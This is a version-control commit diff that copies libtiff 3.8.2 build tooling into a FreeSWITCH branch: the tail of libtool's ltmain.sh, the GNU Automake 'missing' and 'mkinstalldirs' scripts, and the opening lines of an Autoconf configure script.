+	  $ECHO "copying selected object files to avoid basename conflicts..."
+	  gentop="$output_objdir/${outputname}x"
+	  generated="$generated $gentop"
+	  func_mkdir_p "$gentop"
+	  save_oldobjs=$oldobjs
+	  oldobjs=
+	  counter=1
+	  for obj in $save_oldobjs
+	  do
+	    func_basename "$obj"
+	    objbase="$func_basename_result"
+	    case " $oldobjs " in
+	    " ") oldobjs=$obj ;;
+	    *[\ /]"$objbase "*)
+	      while :; do
+		# Make sure we don't pick an alternate name that also
+		# overlaps.
+		newobj=lt$counter-$objbase
+		counter=`expr $counter + 1`
+		case " $oldobjs " in
+		*[\ /]"$newobj "*) ;;
+		*) if test ! -f "$gentop/$newobj"; then break; fi ;;
+		esac
+	      done
+	      func_show_eval "ln $obj $gentop/$newobj || cp $obj $gentop/$newobj"
+	      oldobjs="$oldobjs $gentop/$newobj"
+	      ;;
+	    *) oldobjs="$oldobjs $obj" ;;
+	    esac
+	  done
+	fi
+	eval cmds=\"$old_archive_cmds\"
+
+	if len=`expr "X$cmds" : ".*" 2>/dev/null` &&
+	   test "$len" -le "$max_cmd_len" || test "$max_cmd_len" -le -1; then
+	  cmds=$old_archive_cmds
+	else
+	  # the command line is too long to link in one step, link in parts
+	  func_echo "using piecewise archive linking..."
+	  save_RANLIB=$RANLIB
+	  RANLIB=:
+	  objlist=
+	  concat_cmds=
+	  save_oldobjs=$oldobjs
+	  # Is there a better way of finding the last object in the list?
+	  for obj in $save_oldobjs
+	  do
+	    last_oldobj=$obj
+	  done
+	  for obj in $save_oldobjs
+	  do
+	    oldobjs="$objlist $obj"
+	    objlist="$objlist $obj"
+	    eval test_cmds=\"$old_archive_cmds\"
+	    if len=`expr "X$test_cmds" : ".*" 2>/dev/null` &&
+	       test "$len" -le "$max_cmd_len"; then
+	      :
+	    else
+	      # the above command should be used before it gets too long
+	      oldobjs=$objlist
+	      if test "$obj" = "$last_oldobj" ; then
+		RANLIB=$save_RANLIB
+	      fi
+	      test -z "$concat_cmds" || concat_cmds=$concat_cmds~
+	      eval concat_cmds=\"\${concat_cmds}$old_archive_cmds\"
+	      objlist=
+	    fi
+	  done
+	  RANLIB=$save_RANLIB
+	  oldobjs=$objlist
+	  if test "X$oldobjs" = "X" ; then
+	    eval cmds=\"\$concat_cmds\"
+	  else
+	    eval cmds=\"\$concat_cmds~\$old_archive_cmds\"
+	  fi
+	fi
+      fi
+      func_execute_cmds "$cmds" 'exit $?'
+    done
+
+    test -n "$generated" && \
+      func_show_eval "${RM}r$generated"
+
+    # Now create the libtool archive.
+    case $output in
+    *.la)
+      old_library=
+      test "$build_old_libs" = yes && old_library="$libname.$libext"
+      func_echo "creating $output"
+
+      # Preserve any variables that may affect compiler behavior
+      for var in $variables_saved_for_relink; do
+	if eval test -z \"\${$var+set}\"; then
+	  relink_command="{ test -z \"\${$var+set}\" || unset $var || { $var=; export $var; }; }; $relink_command"
+	elif eval var_value=\$$var; test -z "$var_value"; then
+	  relink_command="$var=; export $var; $relink_command"
+	else
+	  func_quote_for_eval "$var_value"
+	  relink_command="$var=$func_quote_for_eval_result; export $var; $relink_command"
+	fi
+      done
+      # Quote the link command for shipping.
+      relink_command="(cd `pwd`; $SHELL $progpath $preserve_args --mode=relink $libtool_args @inst_prefix_dir@)"
+      relink_command=`$ECHO "X$relink_command" | $Xsed -e "$sed_quote_subst"`
+      if test "$hardcode_automatic" = yes ; then
+	relink_command=
+      fi
+
+      # Only create the output if not a dry run.
+      $opt_dry_run || {
+	for installed in no yes; do
+	  if test "$installed" = yes; then
+	    if test -z "$install_libdir"; then
+	      break
+	    fi
+	    output="$output_objdir/$outputname"i
+	    # Replace all uninstalled libtool libraries with the installed ones
+	    newdependency_libs=
+	    for deplib in $dependency_libs; do
+	      case $deplib in
+	      *.la)
+		func_basename "$deplib"
+		name="$func_basename_result"
+		eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $deplib`
+		test -z "$libdir" && \
+		  func_fatal_error "\`$deplib' is not a valid libtool archive"
+		newdependency_libs="$newdependency_libs $libdir/$name"
+		;;
+	      *) newdependency_libs="$newdependency_libs $deplib" ;;
+	      esac
+	    done
+	    dependency_libs="$newdependency_libs"
+	    newdlfiles=
+
+	    for lib in $dlfiles; do
+	      case $lib in
+	      *.la)
+	        func_basename "$lib"
+		name="$func_basename_result"
+		eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $lib`
+		test -z "$libdir" && \
+		  func_fatal_error "\`$lib' is not a valid libtool archive"
+		newdlfiles="$newdlfiles $libdir/$name"
+		;;
+	      *) newdlfiles="$newdlfiles $lib" ;;
+	      esac
+	    done
+	    dlfiles="$newdlfiles"
+	    newdlprefiles=
+	    for lib in $dlprefiles; do
+	      case $lib in
+	      *.la)
+		# Only pass preopened files to the pseudo-archive (for
+		# eventual linking with the app. that links it) if we
+		# didn't already link the preopened objects directly into
+		# the library:
+		func_basename "$lib"
+		name="$func_basename_result"
+		eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $lib`
+		test -z "$libdir" && \
+		  func_fatal_error "\`$lib' is not a valid libtool archive"
+		newdlprefiles="$newdlprefiles $libdir/$name"
+		;;
+	      esac
+	    done
+	    dlprefiles="$newdlprefiles"
+	  else
+	    newdlfiles=
+	    for lib in $dlfiles; do
+	      case $lib in
+		[\\/]* | [A-Za-z]:[\\/]*) abs="$lib" ;;
+		*) abs=`pwd`"/$lib" ;;
+	      esac
+	      newdlfiles="$newdlfiles $abs"
+	    done
+	    dlfiles="$newdlfiles"
+	    newdlprefiles=
+	    for lib in $dlprefiles; do
+	      case $lib in
+		[\\/]* | [A-Za-z]:[\\/]*) abs="$lib" ;;
+		*) abs=`pwd`"/$lib" ;;
+	      esac
+	      newdlprefiles="$newdlprefiles $abs"
+	    done
+	    dlprefiles="$newdlprefiles"
+	  fi
+	  $RM $output
+	  # place dlname in correct position for cygwin
+	  tdlname=$dlname
+	  case $host,$output,$installed,$module,$dlname in
+	    *cygwin*,*lai,yes,no,*.dll | *mingw*,*lai,yes,no,*.dll) tdlname=../bin/$dlname ;;
+	  esac
+	  $ECHO > $output "\
+# $outputname - a libtool library file
+# Generated by $PROGRAM (GNU $PACKAGE$TIMESTAMP) $VERSION
+#
+# Please DO NOT delete this file!
+# It is necessary for linking the library.
+
+# The name that we can dlopen(3).
+dlname='$tdlname'
+
+# Names of this library.
+library_names='$library_names'
+
+# The name of the static archive.
+old_library='$old_library'
+
+# Linker flags that can not go in dependency_libs.
+inherited_linker_flags='$new_inherited_linker_flags'
+
+# Libraries that this one depends upon.
+dependency_libs='$dependency_libs'
+
+# Names of additional weak libraries provided by this library
+weak_library_names='$weak_libs'
+
+# Version information for $libname.
+current=$current
+age=$age
+revision=$revision
+
+# Is this an already installed library?
+installed=$installed
+
+# Should we warn about portability when linking against -modules?
+shouldnotlink=$module
+
+# Files to dlopen/dlpreopen
+dlopen='$dlfiles'
+dlpreopen='$dlprefiles'
+
+# Directory that this library needs to be installed in:
+libdir='$install_libdir'"
+	  if test "$installed" = no && test "$need_relink" = yes; then
+	    $ECHO >> $output "\
+relink_command=\"$relink_command\""
+	  fi
+	done
+      }
+
+      # Do a symbolic link so that the libtool archive can be found in
+      # LD_LIBRARY_PATH before the program is installed.
+      func_show_eval '( cd "$output_objdir" && $RM "$outputname" && $LN_S "../$outputname" "$outputname" )' 'exit $?'
+      ;;
+    esac
+    exit $EXIT_SUCCESS
+}
+
+
+# func_mode_uninstall arg...
+func_mode_uninstall ()
+{
+    $opt_debug
+    RM="$nonopt"
+    files=
+    rmforce=
+    exit_status=0
+
+    # This variable tells wrapper scripts just to set variables rather
+    # than running their programs.
+    libtool_install_magic="$magic"
+
+    for arg
+    do
+      case $arg in
+      -f) RM="$RM $arg"; rmforce=yes ;;
+      -*) RM="$RM $arg" ;;
+      *) files="$files $arg" ;;
+      esac
+    done
+
+    test -z "$RM" && \
+      func_fatal_help "you must specify an RM program"
+
+    rmdirs=
+
+    origobjdir="$objdir"
+    for file in $files; do
+      func_dirname "$file" "" "."
+      dir="$func_dirname_result"
+      if test "X$dir" = X.; then
+	objdir="$origobjdir"
+      else
+	objdir="$dir/$origobjdir"
+      fi
+      func_basename "$file"
+      name="$func_basename_result"
+      test "$mode" = uninstall && objdir="$dir"
+
+      # Remember objdir for removal later, being careful to avoid duplicates
+      if test "$mode" = clean; then
+	case " $rmdirs " in
+	  *" $objdir "*) ;;
+	  *) rmdirs="$rmdirs $objdir" ;;
+	esac
+      fi
+
+      # Don't error if the file doesn't exist and rm -f was used.
+      if { test -L "$file"; } >/dev/null 2>&1 ||
+	 { test -h "$file"; } >/dev/null 2>&1 ||
+	 test -f "$file"; then
+	:
+      elif test -d "$file"; then
+	exit_status=1
+	continue
+      elif test "$rmforce" = yes; then
+	continue
+      fi
+
+      rmfiles="$file"
+
+      case $name in
+      *.la)
+	# Possibly a libtool archive, so verify it.
+	if func_lalib_p "$file"; then
+	  . $dir/$name
+
+	  # Delete the libtool libraries and symlinks.
+	  for n in $library_names; do
+	    rmfiles="$rmfiles $objdir/$n"
+	  done
+	  test -n "$old_library" && rmfiles="$rmfiles $objdir/$old_library"
+
+	  case "$mode" in
+	  clean)
+	    case "  $library_names " in
+	    # "  " in the beginning catches empty $dlname
+	    *" $dlname "*) ;;
+	    *) rmfiles="$rmfiles $objdir/$dlname" ;;
+	    esac
+	    test -n "$libdir" && rmfiles="$rmfiles $objdir/$name $objdir/${name}i"
+	    ;;
+	  uninstall)
+	    if test -n "$library_names"; then
+	      # Do each command in the postuninstall commands.
+	      func_execute_cmds "$postuninstall_cmds" 'test "$rmforce" = yes || exit_status=1'
+	    fi
+
+	    if test -n "$old_library"; then
+	      # Do each command in the old_postuninstall commands.
+	      func_execute_cmds "$old_postuninstall_cmds" 'test "$rmforce" = yes || exit_status=1'
+	    fi
+	    # FIXME: should reinstall the best remaining shared library.
+	    ;;
+	  esac
+	fi
+	;;
+
+      *.lo)
+	# Possibly a libtool object, so verify it.
+	if func_lalib_p "$file"; then
+
+	  # Read the .lo file
+	  . $dir/$name
+
+	  # Add PIC object to the list of files to remove.
+	  if test -n "$pic_object" &&
+	     test "$pic_object" != none; then
+	    rmfiles="$rmfiles $dir/$pic_object"
+	  fi
+
+	  # Add non-PIC object to the list of files to remove.
+	  if test -n "$non_pic_object" &&
+	     test "$non_pic_object" != none; then
+	    rmfiles="$rmfiles $dir/$non_pic_object"
+	  fi
+	fi
+	;;
+
+      *)
+	if test "$mode" = clean ; then
+	  noexename=$name
+	  case $file in
+	  *.exe)
+	    func_stripname '' '.exe' "$file"
+	    file=$func_stripname_result
+	    func_stripname '' '.exe' "$name"
+	    noexename=$func_stripname_result
+	    # $file with .exe has already been added to rmfiles,
+	    # add $file without .exe
+	    rmfiles="$rmfiles $file"
+	    ;;
+	  esac
+	  # Do a test to see if this is a libtool program.
+	  if func_ltwrapper_p "$file"; then
+	    relink_command=
+	    . $dir/$noexename
+
+	    # note $name still contains .exe if it was in $file originally
+	    # as does the version of $file that was added into $rmfiles
+	    rmfiles="$rmfiles $objdir/$name $objdir/${name}S.${objext}"
+	    if test "$fast_install" = yes && test -n "$relink_command"; then
+	      rmfiles="$rmfiles $objdir/lt-$name"
+	    fi
+	    if test "X$noexename" != "X$name" ; then
+	      rmfiles="$rmfiles $objdir/lt-${noexename}.c"
+	    fi
+	  fi
+	fi
+	;;
+      esac
+      func_show_eval "$RM $rmfiles" 'exit_status=1'
+    done
+    objdir="$origobjdir"
+
+    # Try to remove the ${objdir}s in the directories where we deleted files
+    for dir in $rmdirs; do
+      if test -d "$dir"; then
+	func_show_eval "rmdir $dir >/dev/null 2>&1"
+      fi
+    done
+
+    exit $exit_status
+}
+
+
+# TEST SUITE MARKER ## NON-FUNCTION
+## ----------- ##
+##    Main.    ##
+## ----------- ##
+
+{
+  # Sanity checks first:
+  func_check_version_match
+
+  if test "$build_libtool_libs" != yes && test "$build_old_libs" != yes; then
+    func_fatal_configuration "not configured to build any kind of library"
+  fi
+
+  test -z "$mode" && func_fatal_error "error: you must specify a MODE."
+
+
+  # Darwin sucks
+  eval std_shrext=\"$shrext_cmds\"
+
+
+  # Only execute mode is allowed to have -dlopen flags.
+  if test -n "$execute_dlfiles" && test "$mode" != execute; then
+    func_error "unrecognized option \`-dlopen'"
+    $ECHO "$help" 1>&2
+    exit $EXIT_FAILURE
+  fi
+
+  # Change the help message to a mode-specific one.
+  generic_help="$help"
+  help="Try \`$progname --help --mode=$mode' for more information."
+
+  case $mode in
+    compile)		func_mode_compile ${1+"$@"}		;;
+    execute)		func_mode_execute ${1+"$@"}		;;
+    finish)		func_mode_finish ${1+"$@"}		;;
+    install)		func_mode_install ${1+"$@"}		;;
+    link|relink)	func_mode_link ${1+"$@"}		;;
+    uninstall|clean)	func_mode_uninstall ${1+"$@"}		;;
+
+    "")			help="$generic_help"
+    			func_fatal_help "you must specify a MODE"
+			;;
+  esac
+
+  test -z "$exec_cmd" && \
+    func_fatal_help "invalid operation mode \`$mode'"
+
+  if test -n "$exec_cmd"; then
+    eval exec "$exec_cmd"
+    exit $EXIT_FAILURE
+  fi
+}
+
+exit $exit_status
+
+
+# The TAGs below are defined such that we never get into a situation
+# in which we disable both kinds of libraries.  Given conflicting
+# choices, we go for a static library, that is the most portable,
+# since we can't tell whether shared libraries were disabled because
+# the user asked for that or because the platform doesn't support
+# them.  This is particularly important on AIX, because we don't
+# support having both static and shared libraries enabled at the same
+# time on that platform, so we default to a shared-only configuration.
+# If a disable-shared tag is given, we'll fallback to a static-only
+# configuration.  But we'll never go from static-only to shared-only.
+
+# ### BEGIN LIBTOOL TAG CONFIG: disable-shared
+build_libtool_libs=no
+build_old_libs=yes
+# ### END LIBTOOL TAG CONFIG: disable-shared
+
+# ### BEGIN LIBTOOL TAG CONFIG: disable-static
+build_old_libs=`case $build_libtool_libs in yes) echo no;; *) echo yes;; esac`
+# ### END LIBTOOL TAG CONFIG: disable-static
+
+# Local Variables:
+# mode:shell-script
+# sh-indentation:2
+# End:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/config/missing

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/config/missing (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/config/missing) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/config/missing	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/config/missing	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,360 @@
+#! /bin/sh
+# Common stub for a few missing GNU programs while installing.
+
+scriptversion=2005-06-08.21
+
+# Copyright (C) 1996, 1997, 1999, 2000, 2002, 2003, 2004, 2005
+#   Free Software Foundation, Inc.
+# Originally by Fran,cois Pinard <pinard@iro.umontreal.ca>, 1996.
+
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2, or (at your option)
+# any later version.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
+# 02110-1301, USA.
+
+# As a special exception to the GNU General Public License, if you
+# distribute this file as part of a program that contains a
+# configuration script generated by Autoconf, you may include it under
+# the same distribution terms that you use for the rest of that program.
+
+if test $# -eq 0; then
+  echo 1>&2 "Try \`$0 --help' for more information"
+  exit 1
+fi
+
+run=:
+
+# In the cases where this matters, `missing' is being run in the
+# srcdir already.
+if test -f configure.ac; then
+  configure_ac=configure.ac
+else
+  configure_ac=configure.in
+fi
+
+msg="missing on your system"
+
+case "$1" in
+--run)
+  # Try to run requested program, and just exit if it succeeds.
+  run=
+  shift
+  "$@" && exit 0
+  # Exit code 63 means version mismatch.  This often happens
+  # when the user try to use an ancient version of a tool on
+  # a file that requires a minimum version.  In this case we
+  # we should proceed has if the program had been absent, or
+  # if --run hadn't been passed.
+  if test $? = 63; then
+    run=:
+    msg="probably too old"
+  fi
+  ;;
+
+  -h|--h|--he|--hel|--help)
+    echo "\
+$0 [OPTION]... PROGRAM [ARGUMENT]...
+
+Handle \`PROGRAM [ARGUMENT]...' for when PROGRAM is missing, or return an
+error status if there is no known handling for PROGRAM.
+
+Options:
+  -h, --help      display this help and exit
+  -v, --version   output version information and exit
+  --run           try to run the given command, and emulate it if it fails
+
+Supported PROGRAM values:
+  aclocal      touch file \`aclocal.m4'
+  autoconf     touch file \`configure'
+  autoheader   touch file \`config.h.in'
+  automake     touch all \`Makefile.in' files
+  bison        create \`y.tab.[ch]', if possible, from existing .[ch]
+  flex         create \`lex.yy.c', if possible, from existing .c
+  help2man     touch the output file
+  lex          create \`lex.yy.c', if possible, from existing .c
+  makeinfo     touch the output file
+  tar          try tar, gnutar, gtar, then tar without non-portable flags
+  yacc         create \`y.tab.[ch]', if possible, from existing .[ch]
+
+Send bug reports to <bug-automake@gnu.org>."
+    exit $?
+    ;;
+
+  -v|--v|--ve|--ver|--vers|--versi|--versio|--version)
+    echo "missing $scriptversion (GNU Automake)"
+    exit $?
+    ;;
+
+  -*)
+    echo 1>&2 "$0: Unknown \`$1' option"
+    echo 1>&2 "Try \`$0 --help' for more information"
+    exit 1
+    ;;
+
+esac
+
+# Now exit if we have it, but it failed.  Also exit now if we
+# don't have it and --version was passed (most likely to detect
+# the program).
+case "$1" in
+  lex|yacc)
+    # Not GNU programs, they don't have --version.
+    ;;
+
+  tar)
+    if test -n "$run"; then
+       echo 1>&2 "ERROR: \`tar' requires --run"
+       exit 1
+    elif test "x$2" = "x--version" || test "x$2" = "x--help"; then
+       exit 1
+    fi
+    ;;
+
+  *)
+    if test -z "$run" && ($1 --version) > /dev/null 2>&1; then
+       # We have it, but it failed.
+       exit 1
+    elif test "x$2" = "x--version" || test "x$2" = "x--help"; then
+       # Could not run --version or --help.  This is probably someone
+       # running `$TOOL --version' or `$TOOL --help' to check whether
+       # $TOOL exists and not knowing $TOOL uses missing.
+       exit 1
+    fi
+    ;;
+esac
+
+# If it does not exist, or fails to run (possibly an outdated version),
+# try to emulate it.
+case "$1" in
+  aclocal*)
+    echo 1>&2 "\
+WARNING: \`$1' is $msg.  You should only need it if
+         you modified \`acinclude.m4' or \`${configure_ac}'.  You might want
+         to install the \`Automake' and \`Perl' packages.  Grab them from
+         any GNU archive site."
+    touch aclocal.m4
+    ;;
+
+  autoconf)
+    echo 1>&2 "\
+WARNING: \`$1' is $msg.  You should only need it if
+         you modified \`${configure_ac}'.  You might want to install the
+         \`Autoconf' and \`GNU m4' packages.  Grab them from any GNU
+         archive site."
+    touch configure
+    ;;
+
+  autoheader)
+    echo 1>&2 "\
+WARNING: \`$1' is $msg.  You should only need it if
+         you modified \`acconfig.h' or \`${configure_ac}'.  You might want
+         to install the \`Autoconf' and \`GNU m4' packages.  Grab them
+         from any GNU archive site."
+    files=`sed -n 's/^[ ]*A[CM]_CONFIG_HEADER(\([^)]*\)).*/\1/p' ${configure_ac}`
+    test -z "$files" && files="config.h"
+    touch_files=
+    for f in $files; do
+      case "$f" in
+      *:*) touch_files="$touch_files "`echo "$f" |
+				       sed -e 's/^[^:]*://' -e 's/:.*//'`;;
+      *) touch_files="$touch_files $f.in";;
+      esac
+    done
+    touch $touch_files
+    ;;
+
+  automake*)
+    echo 1>&2 "\
+WARNING: \`$1' is $msg.  You should only need it if
+         you modified \`Makefile.am', \`acinclude.m4' or \`${configure_ac}'.
+         You might want to install the \`Automake' and \`Perl' packages.
+         Grab them from any GNU archive site."
+    find . -type f -name Makefile.am -print |
+	   sed 's/\.am$/.in/' |
+	   while read f; do touch "$f"; done
+    ;;
+
+  autom4te)
+    echo 1>&2 "\
+WARNING: \`$1' is needed, but is $msg.
+         You might have modified some files without having the
+         proper tools for further handling them.
+         You can get \`$1' as part of \`Autoconf' from any GNU
+         archive site."
+
+    file=`echo "$*" | sed -n 's/.*--output[ =]*\([^ ]*\).*/\1/p'`
+    test -z "$file" && file=`echo "$*" | sed -n 's/.*-o[ ]*\([^ ]*\).*/\1/p'`
+    if test -f "$file"; then
+	touch $file
+    else
+	test -z "$file" || exec >$file
+	echo "#! /bin/sh"
+	echo "# Created by GNU Automake missing as a replacement of"
+	echo "#  $ $@"
+	echo "exit 0"
+	chmod +x $file
+	exit 1
+    fi
+    ;;
+
+  bison|yacc)
+    echo 1>&2 "\
+WARNING: \`$1' $msg.  You should only need it if
+         you modified a \`.y' file.  You may need the \`Bison' package
+         in order for those modifications to take effect.  You can get
+         \`Bison' from any GNU archive site."
+    rm -f y.tab.c y.tab.h
+    if [ $# -ne 1 ]; then
+        eval LASTARG="\${$#}"
+	case "$LASTARG" in
+	*.y)
+	    SRCFILE=`echo "$LASTARG" | sed 's/y$/c/'`
+	    if [ -f "$SRCFILE" ]; then
+	         cp "$SRCFILE" y.tab.c
+	    fi
+	    SRCFILE=`echo "$LASTARG" | sed 's/y$/h/'`
+	    if [ -f "$SRCFILE" ]; then
+	         cp "$SRCFILE" y.tab.h
+	    fi
+	  ;;
+	esac
+    fi
+    if [ ! -f y.tab.h ]; then
+	echo >y.tab.h
+    fi
+    if [ ! -f y.tab.c ]; then
+	echo 'main() { return 0; }' >y.tab.c
+    fi
+    ;;
+
+  lex|flex)
+    echo 1>&2 "\
+WARNING: \`$1' is $msg.  You should only need it if
+         you modified a \`.l' file.  You may need the \`Flex' package
+         in order for those modifications to take effect.  You can get
+         \`Flex' from any GNU archive site."
+    rm -f lex.yy.c
+    if [ $# -ne 1 ]; then
+        eval LASTARG="\${$#}"
+	case "$LASTARG" in
+	*.l)
+	    SRCFILE=`echo "$LASTARG" | sed 's/l$/c/'`
+	    if [ -f "$SRCFILE" ]; then
+	         cp "$SRCFILE" lex.yy.c
+	    fi
+	  ;;
+	esac
+    fi
+    if [ ! -f lex.yy.c ]; then
+	echo 'main() { return 0; }' >lex.yy.c
+    fi
+    ;;
+
+  help2man)
+    echo 1>&2 "\
+WARNING: \`$1' is $msg.  You should only need it if
+	 you modified a dependency of a manual page.  You may need the
+	 \`Help2man' package in order for those modifications to take
+	 effect.  You can get \`Help2man' from any GNU archive site."
+
+    file=`echo "$*" | sed -n 's/.*-o \([^ ]*\).*/\1/p'`
+    if test -z "$file"; then
+	file=`echo "$*" | sed -n 's/.*--output=\([^ ]*\).*/\1/p'`
+    fi
+    if [ -f "$file" ]; then
+	touch $file
+    else
+	test -z "$file" || exec >$file
+	echo ".ab help2man is required to generate this page"
+	exit 1
+    fi
+    ;;
+
+  makeinfo)
+    echo 1>&2 "\
+WARNING: \`$1' is $msg.  You should only need it if
+         you modified a \`.texi' or \`.texinfo' file, or any other file
+         indirectly affecting the aspect of the manual.  The spurious
+         call might also be the consequence of using a buggy \`make' (AIX,
+         DU, IRIX).  You might want to install the \`Texinfo' package or
+         the \`GNU make' package.  Grab either from any GNU archive site."
+    # The file to touch is that specified with -o ...
+    file=`echo "$*" | sed -n 's/.*-o \([^ ]*\).*/\1/p'`
+    if test -z "$file"; then
+      # ... or it is the one specified with @setfilename ...
+      infile=`echo "$*" | sed 's/.* \([^ ]*\) *$/\1/'`
+      file=`sed -n '/^@setfilename/ { s/.* \([^ ]*\) *$/\1/; p; q; }' $infile`
+      # ... or it is derived from the source name (dir/f.texi becomes f.info)
+      test -z "$file" && file=`echo "$infile" | sed 's,.*/,,;s,.[^.]*$,,'`.info
+    fi
+    # If the file does not exist, the user really needs makeinfo;
+    # let's fail without touching anything.
+    test -f $file || exit 1
+    touch $file
+    ;;
+
+  tar)
+    shift
+
+    # We have already tried tar in the generic part.
+    # Look for gnutar/gtar before invocation to avoid ugly error
+    # messages.
+    if (gnutar --version > /dev/null 2>&1); then
+       gnutar "$@" && exit 0
+    fi
+    if (gtar --version > /dev/null 2>&1); then
+       gtar "$@" && exit 0
+    fi
+    firstarg="$1"
+    if shift; then
+	case "$firstarg" in
+	*o*)
+	    firstarg=`echo "$firstarg" | sed s/o//`
+	    tar "$firstarg" "$@" && exit 0
+	    ;;
+	esac
+	case "$firstarg" in
+	*h*)
+	    firstarg=`echo "$firstarg" | sed s/h//`
+	    tar "$firstarg" "$@" && exit 0
+	    ;;
+	esac
+    fi
+
+    echo 1>&2 "\
+WARNING: I can't seem to be able to run \`tar' with the given arguments.
+         You may want to install GNU tar or Free paxutils, or check the
+         command line arguments."
+    exit 1
+    ;;
+
+  *)
+    echo 1>&2 "\
+WARNING: \`$1' is needed, and is $msg.
+         You might have modified some files without having the
+         proper tools for further handling them.  Check the \`README' file,
+         it often tells you about the needed prerequisites for installing
+         this package.  You may also peek at any GNU archive site, in case
+         some other package would contain this missing \`$1' program."
+    exit 1
+    ;;
+esac
+
+exit 0
+
+# Local variables:
+# eval: (add-hook 'write-file-hooks 'time-stamp)
+# time-stamp-start: "scriptversion="
+# time-stamp-format: "%:y-%02m-%02d.%02H"
+# time-stamp-end: "$"
+# End:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/config/mkinstalldirs

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/config/mkinstalldirs (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/config/mkinstalldirs) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/config/mkinstalldirs	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/config/mkinstalldirs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,150 @@
+#! /bin/sh
+# mkinstalldirs --- make directory hierarchy
+
+scriptversion=2004-02-15.20
+
+# Original author: Noah Friedman <friedman@prep.ai.mit.edu>
+# Created: 1993-05-16
+# Public domain.
+#
+# This file is maintained in Automake, please report
+# bugs to <bug-automake@gnu.org> or send patches to
+# <automake-patches@gnu.org>.
+
+errstatus=0
+dirmode=""
+
+usage="\
+Usage: mkinstalldirs [-h] [--help] [--version] [-m MODE] DIR ...
+
+Create each directory DIR (with mode MODE, if specified), including all
+leading file name components.
+
+Report bugs to <bug-automake@gnu.org>."
+
+# process command line arguments
+while test $# -gt 0 ; do
+  case $1 in
+    -h | --help | --h*)         # -h for help
+      echo "$usage"
+      exit 0
+      ;;
+    -m)                         # -m PERM arg
+      shift
+      test $# -eq 0 && { echo "$usage" 1>&2; exit 1; }
+      dirmode=$1
+      shift
+      ;;
+    --version)
+      echo "$0 $scriptversion"
+      exit 0
+      ;;
+    --)                         # stop option processing
+      shift
+      break
+      ;;
+    -*)                         # unknown option
+      echo "$usage" 1>&2
+      exit 1
+      ;;
+    *)                          # first non-opt arg
+      break
+      ;;
+  esac
+done
+
+for file
+do
+  if test -d "$file"; then
+    shift
+  else
+    break
+  fi
+done
+
+case $# in
+  0) exit 0 ;;
+esac
+
+# Solaris 8's mkdir -p isn't thread-safe.  If you mkdir -p a/b and
+# mkdir -p a/c at the same time, both will detect that a is missing,
+# one will create a, then the other will try to create a and die with
+# a "File exists" error.  This is a problem when calling mkinstalldirs
+# from a parallel make.  We use --version in the probe to restrict
+# ourselves to GNU mkdir, which is thread-safe.
+case $dirmode in
+  '')
+    if mkdir -p --version . >/dev/null 2>&1 && test ! -d ./--version; then
+      echo "mkdir -p -- $*"
+      exec mkdir -p -- "$@"
+    else
+      # On NextStep and OpenStep, the `mkdir' command does not
+      # recognize any option.  It will interpret all options as
+      # directories to create, and then abort because `.' already
+      # exists.
+      test -d ./-p && rmdir ./-p
+      test -d ./--version && rmdir ./--version
+    fi
+    ;;
+  *)
+    if mkdir -m "$dirmode" -p --version . >/dev/null 2>&1 &&
+       test ! -d ./--version; then
+      echo "mkdir -m $dirmode -p -- $*"
+      exec mkdir -m "$dirmode" -p -- "$@"
+    else
+      # Clean up after NextStep and OpenStep mkdir.
+      for d in ./-m ./-p ./--version "./$dirmode";
+      do
+        test -d $d && rmdir $d
+      done
+    fi
+    ;;
+esac
+
+for file
+do
+  set fnord `echo ":$file" | sed -ne 's/^:\//#/;s/^://;s/\// /g;s/^#/\//;p'`
+  shift
+
+  pathcomp=
+  for d
+  do
+    pathcomp="$pathcomp$d"
+    case $pathcomp in
+      -*) pathcomp=./$pathcomp ;;
+    esac
+
+    if test ! -d "$pathcomp"; then
+      echo "mkdir $pathcomp"
+
+      mkdir "$pathcomp" || lasterr=$?
+
+      if test ! -d "$pathcomp"; then
+	errstatus=$lasterr
+      else
+	if test ! -z "$dirmode"; then
+	  echo "chmod $dirmode $pathcomp"
+	  lasterr=""
+	  chmod "$dirmode" "$pathcomp" || lasterr=$?
+
+	  if test ! -z "$lasterr"; then
+	    errstatus=$lasterr
+	  fi
+	fi
+      fi
+    fi
+
+    pathcomp="$pathcomp/"
+  done
+done
+
+exit $errstatus
+
+# Local Variables:
+# mode: shell-script
+# sh-indentation: 2
+# eval: (add-hook 'write-file-hooks 'time-stamp)
+# time-stamp-start: "scriptversion="
+# time-stamp-format: "%:y-%02m-%02d.%02H"
+# time-stamp-end: "$"
+# End:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/configure

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/configure (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/configure) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/configure	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/configure	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,22598 @@
+#! /bin/sh
+# Guess values for system-dependent variables and create Makefiles.
+# Generated by GNU Autoconf 2.59 for LibTIFF Software 3.8.2.
+#
+# Report bugs to <tiff@lists.maptools.org>.
+#
+# Copyright (C) 2003 Free Software Foundation, Inc.
